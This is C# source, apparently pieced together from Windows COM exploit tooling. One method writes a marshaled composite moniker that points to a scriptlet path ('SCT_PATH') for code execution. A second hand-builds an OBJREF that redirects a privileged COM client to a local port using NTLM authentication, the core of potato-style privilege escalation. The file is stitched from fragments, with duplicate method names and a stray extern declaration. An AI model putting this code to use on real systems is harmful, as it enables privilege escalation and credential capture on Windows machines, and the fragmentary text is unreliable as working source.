public void MarshalInterface(ImmIStream pStm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint mshlflags)
{
Console.WriteLine(">> " + GetCurrentMethod());
uint count_written;
pStm.Write(new byte[] { 0x00, 0x00 }, 2, out count_written);
Random random = new Random();
pStm.Write(new byte[] { (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255) }, 10, out count_written);
pStm.Write(qc_mi_guid.ToByteArray(), 16, out count_written);
pStm.Write(new byte[] { (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255), (byte)random.Next(0, 255) }, 4, out count_written);
pStm.Write(composite_moniker_guid.ToByteArray(), 16, out count_written);
pStm.Write(new byte[] { 0x02, 0x00, 0x00, 0x00 }, 4, out count_written);
ComTypes.IBindCtx bind_context;
ImmIMoniker file_moniker = null;
object new_moniker = null;
uint CLSCTX_ALL = (uint)CLSCTX.CLSCTX_INPROC_SERVER | (uint)CLSCTX.CLSCTX_INPROC_HANDLER | (uint)CLSCTX.CLSCTX_LOCAL_SERVER | (uint)CLSCTX.CLSCTX_REMOTE_SERVER;
ImmComTypes.CreateBindCtx(0, out bind_context);
string sct_path = "SCT_PATH";
ImmComTypes.CreateFileMoniker(sct_path,
out file_moniker);
ImmComTypes.CoCreateInstance(new_moniker_guid,
IntPtr.Zero,
CLSCTX_ALL,
iunknown_guid,
out new_moniker);
ImmComTypes.OleSaveToStream((ImmIPersistStream)file_moniker, pStm);
ImmComTypes.OleSaveToStream((ImmIPersistStream)new_moniker, pStm);
}
public void ReleaseMarshalData(ImmIStream pStm)
{
Console.WriteLine(">> " + GetCurrentMethod());
}
public void UnmarshalInterface(ImmIStream pStm, ref Guid riid, out IntPtr ppv)
{
Console.WriteLine(">> " + GetCurrentMethod());
ppv = IntPtr.Zero;
}
public void OpenStream(string pwcsName, IntPtr reserved1, uint grfMode, uint reserved2, out ImmIStream ppstm)
{
Console.WriteLine(">> " + GetCurrentMethod());
storage.OpenStream(pwcsName, reserved1, grfMode, reserved2, out ppstm);
}
public static extern void OleSaveToStream(ImmIPersistStream pPStm,
ImmIStream pStm);
public void MarshalInterface(ImmIStream pstm, ref Guid riid, IntPtr pv, uint dwDestContext, IntPtr pvDestContext, uint MSHLFLAGS)
{
Console.WriteLine(">> " + GetCurrentMethod());
byte[] interface_bytes;
MemoryStream stream = new MemoryStream();
BinaryWriter writer = new BinaryWriter(stream);
Guid iid_iunknown = new Guid("00000000-0000-0000-C000-000000000046");
// MEOW magic number
writer.Write(new byte[] { 0x4D, 0x45, 0x4F, 0x57 });
// OBJREF_STANDARD
writer.Write(0x00000001);
// IUnknown GUID
writer.Write(iid_iunknown.ToByteArray());
// OBJREF_STANDARD
writer.Write(0); // Flags
writer.Write(1); // cPublicRefs
Random id_generator = new Random();
byte[] oxid_bytes = new byte[8];
byte[] oid_bytes = new byte[8];
byte[] ipid_bytes = new byte[16];
id_generator.NextBytes(oxid_bytes);
id_generator.NextBytes(oid_bytes);
id_generator.NextBytes(ipid_bytes);
writer.Write(oxid_bytes);
writer.Write(oid_bytes);
writer.Write(ipid_bytes);
// DualStringArray structure
// Binding strings
MemoryStream bs_stream = new MemoryStream();
BinaryWriter bs_writer = new BinaryWriter(bs_stream);
byte[] bs;
ushort tower_id = 7; // TCP
bs_writer.Write(tower_id);
bs_writer.Write(Encoding.Unicode.GetBytes("127.0.0.1[SERVER_PORT]\0"));
bs_writer.Write((ushort)0);
bs = bs_stream.ToArray();
// Security bindings
MemoryStream sb_stream = new MemoryStream();
BinaryWriter sb_writer = new BinaryWriter(sb_stream);
byte[] sb;
// RPC_C_AUTHN_WINNT
sb_writer.Write((ushort)0x0a);
sb_writer.Write((ushort)0xffff);
sb_writer.Write((ushort)0);
sb_writer.Write((ushort)0);
sb = sb_stream.ToArray();
// Write total length of DualStringArray
// Total length of DSA
writer.Write((ushort)((bs.Length + sb.Length) / sizeof(ushort)));
// Offset to security
writer.Write((ushort)(bs.Length / sizeof(ushort)));
// Write string bindings
writer.Write(bs);
// Write security bindings
writer.Write(sb);
writer.Close();
interface_bytes = stream.ToArray();
stream.Close();
uint count_written = 0;
pstm.Write(interface_bytes, (uint)interface_bytes.Length, out count_written);
}
